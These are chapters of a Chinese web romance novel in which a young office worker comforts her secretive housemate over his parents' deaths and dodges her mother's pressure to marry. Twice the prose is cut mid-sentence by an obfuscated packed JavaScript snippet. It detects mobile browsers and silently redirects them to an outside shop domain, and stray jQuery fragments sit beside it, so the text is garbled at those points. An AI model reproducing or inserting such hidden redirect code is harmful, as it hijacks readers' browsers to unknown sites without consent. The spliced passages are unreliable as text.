——再过一个多月,他就要走了。 这两个月朝夕相处,吵吵闹闹、拌嘴嬉闹早已成了习惯。 明明从前总嫌他霸道欠揍,可一想到他即将离开,从此杳无音讯,心底竟莫名堵得慌,闷闷的,还有一点点说不清道不明的酸涩难过。 她犹豫良久,终于鼓起勇气,小声试探:“柳廷砚,你之前在车里说,一个多月后就要离开……是真的吗?” 柳廷砚用餐的动作微顿,淡淡颔首:“嗯。” 刘瞳正要再说些什么,卧室的手机铃声再度急促响起。 她连忙起身跑去接听,随手拿着手机走到餐桌旁,按下免提。 “琳琳,怎么了?” “刘瞳你个没良心的!” 宋琳琳崩溃的怒吼瞬间炸响,几乎震破听筒,“你请假偷懒,所有工作全都堆给我一个人!桌上文件堆得比我人还高,你是想累死我是不是!” “哎呀别气嘛,我刚心情不好,算是小小失恋疗伤,你体谅一下闺蜜!”刘瞳嬉皮笑脸安抚。 “你那也叫失恋?你压根没恋过!”宋琳琳气急败坏,“见色忘友!我要跟你绝交!” “别激动别激动,好好说话。”刘瞳讪讪笑。 “哼,我看你现在肯定还赖在床上温存吧?你家那位……身体挺好?”宋琳琳阴阳怪气打趣。 正小口喝着牛奶的刘瞳闻言,一口牛奶直接喷了出来。 好死不死,尽数泼在了对面柳廷砚的脸上。 空气瞬间死寂。 柳廷砚眉眼沉沉,脸色黑得彻底。 “对不起对不起!我不是故意的!” 刘瞳吓得手忙脚乱,慌忙抽纸巾递过去,满脸慌张。 电话那头的宋琳琳懵了:“怎么了?” “别乱说了!我在吃早餐!”刘瞳欲哭无泪。 “好好好不逗你了,我打电话是真有正事!”宋琳琳收敛玩笑,压低声音,“昨晚你提前走之后,宴会来了两个超大人物!” 刘瞳一边给柳廷砚擦脸,一边漫不经心应声:“还有比柳廷砚更大的人物?” “是高婉然!还有仅次于他名次的陈尧!” 这句话落下的瞬间。 刘瞳动作骤然僵住,猛地抬头看向对面的少年。 果然,柳廷砚眸子微凝,神色明显一滞。 “他俩是一起过来的,亲密得很!”宋琳琳悄悄道,“对了!高婉然不是你家那位的绯闻女友吗?你没开免提吧?可别被听见了!” 刘瞳心头一紧,慌忙想去关掉免提。 可下一瞬,手机被一只骨节分明的手骤然抽走。 她抬头,直直撞进柳廷砚深邃冰冷的眼眸里,带着赤裸裸的压迫与威慑。 刘瞳秒怂,小声干笑:“没、没开,你继续说。” “那就好!” 宋琳琳毫无察觉,继续爆料:“而且你那个学长路学谦和陈尧特别熟,两人整场宴会聊得热火朝天!我算是看明白了,他那场宴会根本不是单纯聚会,是为了推销新产品!” “新产品?” 一直沉默的柳廷砚,忽然开口,声线低沉冷冽,带着穿透力。 电话那头的宋琳琳吓了一跳,瞬间失声:“刘、刘瞳?你旁边有人?!” “我问,什么产品。” 柳廷砚语气淡漠,不容敷衍。 宋琳琳后背莫名一凉,总觉得听筒里透着刺骨寒意,连忙老实回话:“叫……卡特。据说里面添加了特殊药材,昨晚现场试用,效果极好。” “什么药材。” “这、这个没说!” 话音刚落。 “嘟——” 电话被直接挂断。 屋内彻底安静。 空气沉得压抑。 刘瞳小心翼翼抬眸看向他紧绷冷淡的侧脸,轻声试探:“你……” 话未说完,柳廷砚已然起身,一言不发走到客厅沙发落座,周身冷意沉沉。 刘瞳看着他孤寂冷冽的背影,心头乱糟糟的。 高婉然是他的绯闻女友,如今和别人亲密同行、形影不离。 他……是吃醋了?生气了? 按理说,他被传“戴绿帽子”,她该偷偷开心才对。 可不知为何,看着他低落冷淡的模样,她半点笑意都没有,反倒心头闷闷的,连早餐的胃口尽数全无。 她默默收拾好桌上碗筷,安静无言。 一室细雨淅沥,心绪纷乱难平。 走出厨房时,刘瞳便看见柳廷砚维持着方才的姿势,一动不动陷在沙发里。 还真就伤心上了。不过是一个花心的女人,有什么值得耿耿于怀的。刘瞳在心底小声嘀咕。 此刻柳廷砚已然将周遭一切隔绝在外。被下药时的狼狈、父母离世的画面,一桩桩往事如同老旧放映机,在脑海里循环往复地播放着。头痛如同钝器反复敲打,悲痛、悔恨、屈辱与滔天怒火缠在一起,死死攫住了他的五脏六腑。 忽然一盒烟递到了他眼前。 柳廷砚猛地回神,茫然抬眸,撞进一双亮晶晶的杏眼,正一眨不眨望着他。 “喏。你们男人心里装了事,不都靠着抽烟排解吗。” 对上他骤然幽深的视线,刘瞳耳尖微微发烫,不自然偏过头。 这包烟还是两人初次碰面时,趁着他洗澡,她从他外衣口袋翻出来的。那时还想着能找出什么值钱物件,到头来他身上就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847934|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 只有一把钥匙、一部手机,外加这一盒烟。她素来厌烦烟味,本打算随手丢掉,思来想去终究还是收了起来,没承想今日反倒派上了用场。 柳廷砚薄唇紧抿,眼底翻涌着错综复杂的情绪。他抬手接过烟盒,抽出一根点燃,指尖拢着细碎的火光。烟雾缓缓升腾起来,刺鼻的气味漫开。 刘瞳嗅到烟味,下意识抬手不停扇着风,快步走到窗边推开玻璃窗透气。她斜倚在窗框边,双臂环胸,静静望着沙发上周身萦绕着沉沉压抑气息的男人。 一根,两根,三根。 眼看他要点燃第五根烟的时候,刘瞳快步上前,一把抢过他指间的香烟,摁灭丢进一旁的垃圾桶里,瞪着他,眉眼带着几分愠意。 柳廷砚没有争辩,向后靠在沙发软垫上,闭上双眼。窗外细雨敲打着栏杆,淅淅沥沥的声响,像是一下下落在他的心口,万般滋味翻涌不休。刘瞳在他身侧坐下,微微鼓着腮帮子。 “至于吗,不过就是……”她小声嘟囔着,伸手去拿桌上的玻璃水壶倒水。 “我们第一次见面的那天,我父母出了车祸。” 柳廷砚沙哑低沉的嗓音,猝不及防打断了她的话语。 “啪嗒——” 水壶从刘瞳手中滑落,重重磕在地板上。她僵在原地,难以置信地望向闭目靠坐的男人。 “我可以确定,这件事是高婉然和陈尧一手策划的。”柳廷砚倏然睁开眼眸,眼底翻涌着刺骨的狠戾与笃定。 “可你……现在没有证据。”刘瞳放轻了语调,小心翼翼开口。 “一个月之内,我定会找出全部证据。” 他猛地直起身,阴鸷的眸光沉沉锁着她。 刘瞳身子下意识一僵,连忙坐直了身体,木讷地点了点头:“我信你可以做到。” 柳廷砚肩头瞬间垮了下去,垂着头陷入沉默。浓重的悲伤笼罩在他周身,刘瞳看着他落寞的模样,心口莫名泛起酸涩。 “你脸上的痕迹,是中毒留下的?”她轻声发问。 柳廷砚极轻地颔首。 “无数个深夜,我都会梦见他们被困在变形的车身之下,遍地猩红。最后车子在我眼前轰然爆炸。我连他们的遗体都没能留住。”他埋下头,双手攥住发丝,声音控制不住地发颤,“是我没用。” “别这样,这件事不能归咎于你,你已经拼尽全力了。”刘瞳慌忙伸手拉住他的手腕。 “我明明可以救下我父亲,是他将我推了出去。全都是我的过错。”柳廷砚挣开她的手,手掌一下下捶在自己的额前,像一头遍体鳞伤、独自蜷缩起来的孤狼,压抑地泛起哽咽。 “错的从不是你。”刘瞳上前一步,伸手轻轻环抱住他微微颤抖的脊背,柔声安抚,“真正的罪人是他们。你该做的是搜集证据,撕开他们虚伪的面具,为你的父母讨回公道。” 柳廷砚身形一滞,缓缓抬臂,回抱住了她。紧绷的脊背慢慢放松下来,贪恋地汲取着怀抱里温热的暖意,胸中翻涌的悲愤渐渐平复。 “你说得没错。我会让谋害我父母的人付出代价,夺回属于我的一切。”他埋在她肩头,闷声开口,眼底掠过势在必得的冷光。 “嗯。”刘瞳抬手,一下下轻拍着他的后背,轻声应和。 心底泛起细碎的怜惜。失去双亲,身家被夺,连容貌都遭人暗算,他只能隐姓埋名躲在此处,连光明正大抛头露面都做不到。从前众星捧月的人,跌落尘埃,换作旁人,或许早就撑不下去了。长久将沉重的秘密藏在心底,还要日日装作漫不经心的模样。她不由得反省,往日自己总是同他无理取闹。往后,还是待他温和一些吧。 两人相拥着安静坐了许久。 刘瞳轻轻拍了拍他的后背,示意他松开。 “柳廷砚?”她轻声唤了一句,没有得到回应。她微微抬起身,才发现男人竟沉沉靠在了她的胸口,已然睡了过去。 刘瞳脸颊骤然发烫,窘迫得手足无措。 还好他睡着了,若是清醒着,眼下的场面实在太过难堪。她屏住呼吸,小心翼翼扶着他的肩膀,慢慢将他放平在沙发上躺好,取过角落的薄毯,盖在他身上。 她蹲在一旁,静静望着他的睡颜。那张本该惊绝的脸庞被毒素留下痕迹,实在令人惋惜。一想到幕后之人,心底便燃起怒意。等她起身,轻手轻脚走回了卧室。 17. 催相亲 …… 柳廷砚是被落在眼角的阳光唤醒的。 他缓缓掀开眼皮,抬手挡住刺目的光线,慢慢坐起身。窗外雨早已停歇,厚重乌云散开,晴空铺展开明媚的日光。他环顾空旷的客厅,撑着身体坐直,伸手想去拿桌上的水壶。指尖触碰到壶身的瞬间顿住了。水壶换了新的。 方才他说起往事时,那个慌慌张张摔碎水壶的小野猫,动作倒是很快。 厨房传来细碎的动静。柳廷砚起身走过去,推开房门。 刘瞳身着一条浅蓝色长裙,握着锅铲在灶台前忙碌。狭小厨房氤氲着热气,蒸得她白皙的小脸泛起绯红,细密汗珠顺着下颌滑落,纤长微卷的睫毛轻轻颤动。看着她手忙脚乱的模样,柳廷砚唇角不受控制地勾起一抹浅淡笑意。 “唔?你醒啦!稍等片刻,午饭马上就做好了。” 听见动静,刘瞳回过头,看见斜倚在门框上望着她的男人,弯起眉眼笑了笑。 柳廷砚眼底漾开柔软的微光,转身走出厨房,落座在餐桌旁。视线掠过桌上摆好的菜肴,又落回厨房里忙碌的身影,一种莫名的满足感缓缓填满胸腔。 他舒展双臂,枕着手背靠在椅背上,安静望着那道忙碌的身影。 “做好啦!” 刘瞳端着最后一盘菜快步走出来,将餐盘轻放在桌面上。放下盘子的瞬间,她被滚烫的盘沿烫到指尖,下意识把手指凑到唇边轻轻呼气。 下一瞬,一双温热的大手包裹住她泛红的指尖。 柳廷砚低头,对着她被烫红的指尖缓缓吹气。 刘瞳浑身一僵,心跳骤然乱了节拍,脸颊迅速烧了起来,猛地抽回了自己的手。 “快、快吃饭吧,难得做了这么多菜。”她强装镇定地扯出笑意,坐到椅子上,拿起筷子埋头吃饭,刻意避开了他的视线。 柳廷砚眉梢微扬,在她对面坐下,拿起筷子夹起一筷菜。 “味道怎么样?”刘瞳抬眸,眼里带着几分期待望着他。 他刚搬来的时候,她也曾下厨做过饭菜,被他毫不留情地挑剔了一番,之后做饭的事便全数落到了他身上。不得不承认,他的厨艺堪比星级餐厅,自己倒是跟着沾了不少光。 “这道菜是什么。”柳廷砚用筷子点了点盘中的菜。 “竹笋炒肉丝呀。”刘瞳眉头微微蹙起。 柳廷砚又夹起一块放进嘴里,慢条斯理地咀嚼着。 “肉质偏老,带着腥气,笋没有熟透。”他语气平淡,不带半分情面。 刘瞳耷拉下脑袋,长长叹了一口气,挫败感漫上心头。 “那你尝尝这个清蒸皖鱼!”她抿了抿唇,指向旁边的盘子。 柳廷砚依言夹起一块鱼肉,刘瞳才看清鱼肉之间还萦绕着淡淡的血丝,脸颊瞬间涨得通红,窘迫地抬手捂住了脸。 “还没有熟透,你怎么就吃了。”她惊声开口。 柳廷砚没有答话,端起饭碗安静进食。 “平日里在家都是母亲打理三餐,我很少下厨,一个人住又懒得折腾。反正以后嫁人,我负责在外工作,我先生负责做饭顾家就好了。”刘瞳挠了挠后脑勺,干笑两声,试图缓解尴尬。 “就凭你?若是只靠着你挣钱糊口,对方怕是要喝西北风了。”柳廷砚淡淡瞥了她一眼。 “你这话什么意思!”刘瞳瞬间不淡定了。 柳廷砚夹了一筷子菜,径直塞进她的嘴里。 “食不言,寝不语。”他垂着眼,继续吃饭。 饭后两人窝在沙发上看着电视,刘瞳的手机突兀响了起来。 “该不会又是琳琳吧。不过是请了一天假,怎么总打来电话。”刘瞳低声嘟囔,拿起手机。 看清来电备注的那一刻,她瞳孔微微一缩,飞快瞥了一眼身侧满脸疑惑的柳廷砚,攥着手机匆匆跑回卧室,连鞋子都来不及穿,活像仓皇逃窜。 柳廷砚望着她慌乱的背影,额角浮起几道黑线。 这般藏藏掖掖,不肯让他听见通话内容。是哪个男人打来的? 念头不受控制地冒了出来,他又迅速压了下去。 他在计较什么。两人不过是合作的关系,她的私人通话本就属于她的隐私。柳廷砚将遥控器随意搁在茶几上,向后靠在沙发靠背之上,心底却始终静不下来。 卧室内。 刘瞳关上房门,接通电话。 “臭丫头,心里还有没有这个家了,许久都不知道往家里打一通电话。”刘母中气十足的声音从听筒传来,刘瞳连忙将手机挪远了些许。 “嘿嘿,妈,最近工作太忙,就给忘了。”刘瞳讪讪地赔着笑。 “吃饭怎么不会忘。”刘母轻嗤一声。 “三餐本就是每日必不可少的,哪里能忘啊。”刘瞳无奈地扶了扶额头。 “家就可以抛之脑后是吗?”刘母的语气沉了几分。 “我的错我的错,往后我天天给您打电话,行吗。”刘瞳连忙服软。 “天天打不要话费?” 刘瞳哭笑不得,坐到床沿,抓了抓头发:“这也不行那也不行,您到底想让我怎么做。” “不必每日都打,隔一段时间报一声平安就够了。独自在外,凡事都要顾及自身安危。”刘母放缓了语气。 “遵命,皇后娘娘。”刘瞳摆出一本正经的模样。 “油嘴滑舌。”刘母笑骂一句。 客厅里的柳廷砚再也没有心思看电视,悄无声息走到卧室门边,微微俯身,将耳朵贴在门板上,听着屋内传来的对话声。 “妈,我才二十一,婚事不用着急。”刘瞳噘着嘴。 “二十一还不急?同你一般大的姑娘,好些都已经成家生子了,你还在外自顾自地玩闹。”刘母的语调再度严肃起来。 “我眼下只想好好打拼事业,其余的事情暂时没有打算。”刘瞳拍了拍身侧的枕头,心底带着几分不耐。 “工作工作,张口闭口都是工作。若是嫁了靠谱的人,不工作也无妨。” “那不行。倘若没有自己的事业,很容易被婆家轻看的。”刘瞳皱起眉头反驳道。 “我当初婚后操持家事,也不曾被你爷爷奶奶轻视过半分。” “那是您足够厉害,我哪里能做到像您这般从容。”刘瞳委屈地瘪起嘴。 “我的女儿自然不会差。”刘母语气笃定。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说到底,你就是不想结婚、不听我的话!”刘母语气骤然变冷,带着几分严厉。 刘瞳仰头盯着天花板,彻底无奈:“老妈——” “听我的准没错,早点成家对你只有好处。” 被逼得走投无路,刘瞳长长叹了口气,举手投降:“好好好,我过两天带他回家给你们看,行了吧。” “这才对。早点休息。” 话音落下,电话干脆利落挂断。 “啊——!” 刘瞳崩溃低吼一声,将手机狠狠丢在床上,整个人仰面倒躺,呆滞盯着天花板。 空无一人的房间里,只剩她欲哭无泪的闷声嘟囔:“我压根就没有男朋友,上哪给你带一个回去啊……” 她把脸埋进柔软的枕头里,闷得快要窒息。 “烦死了!到底要怎么办啊!” 烦躁涌上心头,她一把甩开枕头,在床上胡乱打滚撒气,小脸皱成一团,委屈又无助。 难不成真的去大街上随便拉一个陌生人冒充男友?那铁定一眼被拆穿! 18. 暗查危局 ——翌日。 公司办公室。 刘瞳捏着手里的请假条,小心翼翼凑到总监办公桌前,还没开口,就被赵总监冷声打断。 “刘瞳!你又请假?你当公司是你家开的?随心所欲想来就来、想走就走?” 赵总监将请假条重重拍在桌面,双手叉腰,眉眼凌厉,满是恨铁不成钢。 “嘿嘿,意外意外!”刘瞳讪讪挠头,赔着笑脸撒娇,“这次是真的家里有事,就三天!我保证,三天之后,半年绝不请假!” “你哪次请假不是这么保证的?” 赵总监顺势落座,长腿交叠,镜片后的目光锐利如刀,直直盯着她:“你看看人家琳琳,从来不像你这般频频缺勤。今年的年终奖,你还想不想要了?” “要!我当然要!”刘瞳立刻小鸡啄米似地点头。 “那就回工位好好上班。”赵总监低头翻看文件,不再理她。 刘瞳瞬间垮脸,硬着头皮坚持:“不行总监,我这次真的必须回家!” 赵总监长吐一口气,极力压下心底的火气,抬眸沉沉看着她:“刘瞳,你到底想怎样?” “最后一次!真的是最后一次!”刘瞳睁着湿漉漉的可怜大眼,双手合十哀求,“我发誓,再有下次我天打雷劈!绝不食言!” “誓言要是有用,天底下就没犯错的人了。”赵总监淡淡嗤笑,全然不信。 被逼到绝境,刘瞳直接开启死缠烂打模式,凑上前软磨硬泡:“我最美丽、最大方、最温柔的总监大人!您宰相肚里能撑船,就可怜可怜我吧,就小小三天假期,求求您了!” 她扒着总监的袖子晃来晃去,撒娇耍赖,缠了足足半个小时。 赵总监被她磨得没了脾气,最终无奈叹气,推了推眼镜:“行了行了,准你了。” “总监万岁!我爱死您了!” 刘瞳瞬间喜笑颜开,凑上去就要抱她。 “恶心死了,赶紧走开。”赵总监一脸嫌弃地推开她。 刘瞳乐颠颠转身,正要开门离开。 “等等。” 赵总监的声音骤然响起。 刘瞳动作一顿,心头一紧,弱弱回头:“总监……您不会反悔吧?” “君子一言,驷马难追。”赵总监抱臂看着她,神色正经。 刘瞳心底默默翻白眼:还君子呢。面上却只能干笑附和。 “这里有个项目任务。”赵总监起身从书架抽出一份文件递过来,“只要你做到我满意,别说三天,多休几天都随你,年终奖也照常给你。” “保证圆满完成!” 刘瞳瞬间两眼放光,郑重接过文件,还煞有介事敬了个礼,底气十足。 不就是一个任务?她什么时候搞砸过!总监也太小看她了。 她抱着文件美滋滋回到工位。 宋琳琳立刻转头打量她:“怎么样?没被总监狠狠批一顿吧?” “小事一桩,搞定啦。”刘瞳摆摆手。 “那你妈催你带男朋友回家的事,解决了?”宋琳琳挑眉八卦。 瞬间,刘瞳脸上的笑意彻底消失,生无可恋趴在桌面:“哪有那么容易。” “那你还急着请假回家?” “你是不知道我妈昨天多激动!我再不回去,她能直接杀过来抓我!”刘瞳头疼扶额。 “那你随口编的男朋友,准备怎么圆?” 刘瞳蔫蔫叹气:“还能怎么办,凉拌呗,实在不行大街上随便拽一个。” “你疯啦?”宋琳琳瞪大眼,“一眼就露馅了!” 话音落下,宋琳琳忽然眼睛一亮,凑近她挤眉弄眼,一脸狡黠:“哎?你身边不是有个现成的绝佳人选?” “谁啊?”刘瞳茫然抬头。 “你傻不傻!”宋琳琳抬手轻轻拍了下她的脑袋,“柳廷砚啊!” 这话一出,刘瞳立刻一脸抗拒:“他?那还不如让你女扮男装跟我回去呢!” “咦——刘瞳你不对劲!”宋琳琳立刻嫌弃后退。 “你少胡思乱想!”刘瞳无奈拿文件拍了她一下。 “上班时间打闹?” 门口骤然传来赵总监冰冷的声音。 两人浑身一僵,瞬间坐直身体,乖乖低头认真工作,半点不敢乱动。 等总监离开,办公室氛围恢复平静,刘瞳熬到下班,拖着一身疲惫回到家中。 客厅里,柳廷砚正安静坐着翻看杂志。 听见动静,他抬眸看来:“今天怎么回来这么晚?还在兼职?” 刘瞳心烦意乱,连眼神都懒得给他,淡淡丢出一个字:“没。” 径直换鞋,擦肩而过,直奔卧室。 “我做了晚饭。”柳廷砚看着她低落的背影,温声开口。 “不吃。” 轻飘飘两个字落下,房门“咔哒”一声紧闭。 柳廷砚看着紧闭的房门,眉峰微蹙,眼底满是费解。 这小野猫素来贪吃,天大地大吃饭最大,什么时候连晚饭都不吃了? 看她浑身疲惫、蔫蔫沉沉的模样,倒像是去工地搬了一整天砖。明明是坐办公室吹空调的工作,再累也不至于这般无精打采。 他心底疑惑丛生。 时间一点点流逝,转眼夜里十一点。 卧室房门始终安安静静,没有半点声响,唯独门缝透出一缕暖黄灯光。 柳廷砚越想越不放心,犹豫许久,终究起身走到门口。 “咚咚。” 轻叩房门,无人回应。 “刘瞳?” 依旧寂静无声。 他心头微紧,下意识轻轻转动门把手。 门,竟然没锁。 推门而入,暖黄台灯静静亮着。 刘瞳趴在书桌前,脑袋枕着手臂,已然沉沉睡去。周遭散落着杂乱的草稿纸,地上垃圾桶堆满揉成团的废纸,显然是烦闷纠结了许久。 高悬的心瞬间落地,柳廷砚放轻脚步,缓步走到她身前。 暖光温柔落在她的脸上,白皙细腻的肌肤泛着淡淡柔光,长睫纤长卷翘,像两把精致的小扇子。粉嫩唇瓣柔软水润,睡着时还微微嘟着,带着几分未脱的稚气。 柳廷砚俯身静静凝视,心底骤然一软,漾开细碎的温柔。 平日里张牙舞爪、炸毛傲娇的小野猫,安安静静睡着的时候,竟温顺得惹人疼惜。 他指尖微痒,下意识抬手,轻轻拂过她柔软的脸颊,动作温柔至极。 瞥见满桌凌乱废纸,想来她是为了烦心事纠结了整整一晚。 柳廷砚唇角噙着浅淡笑意,小心翼翼俯身,将她轻柔抱起,缓步走到床边,轻轻将人放下,又细心替她盖好薄被。 “唔……” 被褥上身,暖意包裹而来,熟睡中的刘瞳无意识侧过身,小手一扬,直接将刚盖好的被子掀开。 看着她毫无规矩、四仰八叉的可爱睡相,柳廷砚低低轻笑出声。 他无奈又纵容,重新替她掖好被角。 这一次,刘瞳乖乖安分下来,呼吸均匀绵长,睡得安稳极了。 柳廷砚坐在床沿,目光缱绻落在她的小脸上,指尖轻轻刮过她小巧的鼻尖,随后指尖缓缓下移,停留在她水润柔软的唇瓣上方,轻轻轻点。 心底情愫汹涌翻涌。 他缓缓俯身,两人距离越贴越近。 咫尺之间,呼吸交缠,唇瓣相距仅剩一厘米。 在即将相触的瞬间,柳廷砚骤然停住。 眸光深深描摹着她纯净无害的睡颜,最终隐忍收回所有冲动,轻轻低头,在她柔软 的鼻尖落下一个蜻蜓点水般的浅吻。 温柔、克制、小心翼翼。 他凑近她耳畔,嗓音低沉磁性,带着独有的缱绻温柔,轻声低语: “这里,我迟早会光明正大拥有。” “但我等你,心甘情愿。” 话音落,他轻轻吻了吻她温热的耳垂,眼底盛满势在必得的深情与温柔。 枕畔的温热气息拂过耳畔,细碎的痒意袭来。 熟睡的刘瞳不安地蹙着眉,小脑袋轻轻蹭了蹭枕头,溢出一声软糯朦胧的低吟。 柳廷砚低低轻笑,缓缓直起身,踱步走到书桌前。 桌面凌乱散落着数张设计草稿,涂涂改改、画满版式构图,笔触稚嫩却认真。他随手拿起一张张细看,眸色微沉。 看版式风格,应当是护肤品的广告设计方案。 卡特。 脑海中骤然跳出宋琳琳白天无意间爆出的名字,柳廷砚眼底凉意骤起,周身温度瞬间冷了几分。 他想起宴会上,高婉然与陈尧并肩同行、举止亲密的模样,再联想到路学谦全程与陈尧热络畅谈的画面,心头阴霾层层堆叠。 他拿起桌角那份打印文件,视线落在抬头的公司名称上——文谦护肤公司。 路学谦亲手创立的护肤品牌,名字倒是装得温文儒雅。 柳廷砚薄唇勾起一抹凉薄的嗤笑。 原来这就是她熬夜伏案、拼命赶工的任务。 为了路学谦? 莫名的闷涩与不悦席卷心头,他指尖微用力,将文件随手搁置一旁,后背慵懒靠上椅背,双臂环胸,眸色沉沉思索着其中关联。 他早有耳闻,路学谦毕业不过一年,便凭空创立独立护肤公司。如今就业市场严峻,普通应届生步履维艰,无人扶持绝无可能走到这一步。 看来,陈尧在背后,为路学谦铺了不少路。 骤然,一道灵光在脑海中炸开。 陈尧的父亲是国内顶尖学府的医学教授,深耕药理药材数十年,名声享誉国内外。陈尧自幼随父研习药理,却偏偏偏爱美妆护肤,素来抵触各类药用成分,从不涉足药材研发领域。 可偏偏这款卡特护肤品,特意添加了特制药材成分。 这根本不符合陈尧的习惯。 疑点重重,让他心头紧绷。 紧接着,前几日一则社会新闻闪过脑海:多名女性使用某新款小众护肤品后,面部突发红肿溃烂,医院检测定论为护肤品特殊药材成分引发的特异性过敏。 彼时他并未放在心上,此刻串联所有线索,一股刺骨寒意顺着脊背蔓延而上。 爱森集团群龙无首已久,外界大小事务,皆是陈尧代为出面周旋。在外人眼中,他是父亲唯一的弟子、最信任的后辈,深得集团元老信赖。 可父母离世、自己隐姓蛰伏的消息,至今被他死死封锁,集团一众老董事全然不知。 这些年陈尧只敢接手无关痛痒的公开活动,始终无法彻底掌控集团权柄,想来是未能彻底收服元老,也未曾拿到父亲锁起的核心机密文件。 柳廷砚微微松了口气,眼底锋芒却未减半分。 还好,他尚未成气候。 视线再度落回书桌前熟睡的小小身影,看着她毫无防备、安然恬静的睡颜,他心头戾气渐敛。 还有一个月。 足够他清算所有恩怨,夺回一切。 眼下,先解开眼前的局。 柳廷砚拿起笔,俯身落在杂乱的设计稿上,指尖利落涂改、优化版式、补足漏洞,将原本稚嫩粗糙的方案,修缮得精致高级、无可挑剔。 整整两个小时,他停笔伸腰,揉了揉发胀的眉心,将所有稿件规整叠好。 屋内灯火熄灭,他轻手轻脚躺回床边,在她身侧静静睡下。 19. 等待进入网审 翌日清晨。 一声清亮炸裂的尖叫划破整栋楼的宁静。 刘瞳死死裹着薄被,整个人缩在床沿角落,圆眸瞪得溜圆,惊魂未定地盯着身侧侧身而卧、神色淡然的男人。 “你、你怎么在我床上?!谁让你进来的!” 她语无伦次,心脏狂跳,慌忙低头检查自己衣衫完整,感受身体并无异样,高悬的心瞬间落地,连连暗自庆幸。 还好,昨晚什么都没发生! 柳廷砚单手枕着头,桃花眼微挑,漾着几分戏谑的笑意,慵懒开口:“你问了这么多,我该先回答哪一个?” “你少嬉皮笑脸!”刘瞳又气又慌,小脸涨红,强行压下纷乱心绪,正色追问,“你到底怎么进我房间的?” “昨晚十一点,见你房间灯亮着毫无动静,怕你想不开,好心进来查看。”柳廷砚眨了下左眼,语气无辜,“谁知道,你房门压根没锁。” “你才想不开!我看着像那种人吗?”刘瞳气鼓鼓抓起枕头,狠狠砸在他脸上。 柳廷砚抬手拿下枕头,煞有其事地点头:“像。” “你有病吧!”刘瞳彻底炸毛,“还有!你凭什么睡我床!” “某人睡着之后,死死拽着我衣角,软糯嘟囔着不让我走。”柳廷砚挑眉轻笑,语气带着十足调侃,“推都推不醒,我只好屈尊陪睡一晚。” “我才没有!你胡说八道!” 刘瞳耳根瞬间爆红,心跳乱得一塌糊涂,恼羞成怒地抬腿轻踹他一下:“少往自己脸上贴金!屈尊降贵?那你以后老老实实睡沙发!我房间你半步都不准进!” “恼羞成怒了?” 柳廷砚笑意加深,伸手精准扣住她纤细的脚踝,微微用力一扯。 失重感骤然袭来,刘瞳惊呼一声,整个人瞬间被拽到他身前,被他俯身牢牢困在身下。 温热的呼吸尽数笼罩下来,距离近得呼吸交缠。 刘瞳僵在原地,长睫剧烈颤抖,瞳孔微缩,紧张得连呼吸都不敢乱喘,心跳快得几乎冲破胸腔。 “你、你干什么!” 柳廷砚俯身贴近她耳畔,嗓音低沉磁性,带着撩人的慵懒笑意,轻声呢喃:“你说呢?” 话音未落,他微微侧头,飞快在她软糯的脸颊偷得一个浅吻,转瞬退开,眼底盛满温柔与戏谑。 “流氓!” 刘瞳瞬间面红耳赤,手脚并用地狠狠推开他,慌乱不迭地翻身下床,手忙脚乱整理衣衫,窘迫得不敢回头。 柳廷砚依旧慵懒侧卧,含笑望着她慌乱狼狈的模样,眼底温柔缱绻。 “八点十一分了。” 他掏出手机,淡淡出声提醒。 “完了!要迟到了!” 刘瞳瞬间顾不上窘迫,惊呼一声,转身冲回书桌前,胡乱收拢桌上的设计稿件。 指尖触到最上方那张精致完整的版式稿,她微微一怔,满眼疑惑:“这……这是我画的?” 她明明记得自己昨晚改得一塌糊涂,满是漏洞。 刘廷砚闭着眼佯装熟睡,默然不语。 刘瞳来不及细想,匆匆将稿件塞进包里,抓起东西快步冲出房门。 听见门口关门的轻响,柳廷砚缓缓睁开双眸。 眼底再无戏谑,只剩一片清浅平和。 许久未曾睡得这般安稳,自父母出事以来,这是他第一个无梦安眠的夜晚。 起身洗漱完毕,他刚落座沙发,手机铃声骤然响起。 “阿赵。”他声线沉冷,褪去所有温柔。 “少爷!”电话那头的男声满含激动,又带着几分焦灼,“这边查到一些线索……” 与此同时,车内。 宋琳琳握着方向盘,侧目看向副驾玩手机的刘瞳,随口问道:“你明天真要回老家?” “嗯,半年多没回去了,回去待几天。”刘瞳抬眸应声。 “该不会是回去带男朋友见家长吧?”宋琳琳挤眉弄眼打趣。 “怎么可能!”刘瞳瞬间坐直身子,满脸抗拒,“我要是把他带回去,我妈非得以为我脑子、眼睛双双坏掉,绝对扒我一层皮!” “哟,合着你家人还以貌取人啊?”宋琳琳故作诧异。 “也不是啦,就是家里人比较看重人品和前程。”刘瞳尴尬挠头。 “你真别小看他。”宋琳琳认真开口,“柳廷砚会化妆、懂设计、厨艺还顶级,老话都说抓住一个家人的心,先抓住胃,相处久了,你家人肯定能看到他的闪光点。” “你怎么比我还了解他?还总帮他说话,你该不会……”刘瞳眼神暧昧地打量她。 “别瞎想!我有自己的白月光!”宋琳琳立刻打断。 “知道知道,遥不可及的男神呗,我劝你别执念太深。”刘瞳拍拍她的肩。 “滚啊!还能不能当闺蜜了!”宋琳琳拍开她的手。 刘瞳收敛笑意,慵懒耸肩:“不开玩笑了,大不了回去就说我男朋友临时有事来不了,我爸妈总不能真吃了我。” “只怕他们一眼就看出你在撒谎。”宋琳琳笑得幸灾乐祸。 “走一步看一步,烦死了!”刘瞳耷拉着肩膀,满心烦躁。 “等你爸妈再给你安排相亲,我可帮不了你远距离救场。” 刘瞳彻底摆烂,懒得再接话。 当晚。 客厅暖灯柔和。 